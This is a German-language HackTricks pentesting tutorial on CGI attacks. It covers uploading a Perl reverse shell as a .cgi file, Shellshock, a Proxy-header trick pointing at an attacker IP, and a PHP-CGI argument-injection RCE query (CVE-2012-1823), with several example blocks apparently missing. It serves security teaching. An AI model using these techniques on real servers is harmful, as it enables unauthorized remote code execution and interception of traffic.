CGI
Last updated
Last updated
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Vertiefe dein Fachwissen in Mobilsicherheit mit der 8kSec Akademie. Meistere die Sicherheit von iOS und Android durch unsere selbstgesteuerten Kurse und erhalte ein Zertifikat:
Die CGI-Skripte sind Perl-Skripte, also, wenn du einen Server kompromittiert hast, der .cgi Skripte ausführen kann, kannst du eine Perl-Reverse-Shell (/usr/share/webshells/perl/perl-reverse-shell.pl
) hochladen, die Erweiterung von .pl in .cgi ändern, Ausführungsberechtigungen (chmod +x
) geben und die Reverse-Shell vom Webbrowser aus aufrufen, um sie auszuführen. Um nach CGI-Schwachstellen zu suchen, wird empfohlen, nikto -C all
(und alle Plugins) zu verwenden.
ShellShock ist eine Schwachstelle, die die weit verbreitete Bash-Befehlszeilen-Shell in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, von Anwendungen übergebene Befehle auszuführen. Die Schwachstelle liegt in der Manipulation von Umgebungsvariablen, die dynamisch benannte Werte sind, die beeinflussen, wie Prozesse auf einem Computer ausgeführt werden. Angreifer können dies ausnutzen, indem sie schadhafter Code an Umgebungsvariablen anhängen, der beim Empfang der Variablen ausgeführt wird. Dies ermöglicht es Angreifern, das System potenziell zu kompromittieren.
Durch das Ausnutzen dieser Schwachstelle könnte die Seite einen Fehler ausgeben.
Du könntest diese Schwachstelle finden, indem du bemerkst, dass eine alte Apache-Version und cgi_mod (mit cgi-Ordner) verwendet wird oder indem du nikto verwendest.
Die meisten Tests basieren darauf, etwas auszugeben und zu erwarten, dass dieser String in der Webantwort zurückgegeben wird. Wenn du denkst, dass eine Seite anfällig sein könnte, suche nach allen CGI-Seiten und teste sie.
Nmap
CGI erstellt eine Umgebungsvariable für jeden Header in der HTTP-Anfrage. Zum Beispiel: "host:web.com" wird als "HTTP_HOST"="web.com" erstellt.
Da die HTTP_PROXY-Variable vom Webserver verwendet werden könnte, versuchen Sie, einen Header zu senden, der enthält: "Proxy: <IP_angreifer>:<PORT>" und wenn der Server während der Sitzung eine Anfrage ausführt, können Sie jede vom Server getätigte Anfrage erfassen.
Grundsätzlich, wenn CGI aktiv ist und PHP "alt" (<5.3.12 / < 5.4.2) ist, können Sie Code ausführen. Um diese Schwachstelle auszunutzen, müssen Sie auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden (insbesondere ohne das Zeichen "="). Um diese Schwachstelle zu testen, könnten Sie beispielsweise auf /index.php?-s
zugreifen (beachten Sie das -s
) und der Quellcode der Anwendung wird in der Antwort angezeigt.
Um RCE zu erhalten, können Sie diese spezielle Abfrage senden: /?-d allow_url_include=1 -d auto_prepend_file=php://input
und den PHP-Code, der im Body der Anfrage ausgeführt werden soll. Beispiel:
Weitere Informationen über die Schwachstelle und mögliche Exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Beispiel.
Vertiefen Sie Ihr Fachwissen in Mobiler Sicherheit mit der 8kSec Akademie. Meistern Sie die Sicherheit von iOS und Android durch unsere selbstgesteuerten Kurse und erhalten Sie ein Zertifikat:
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)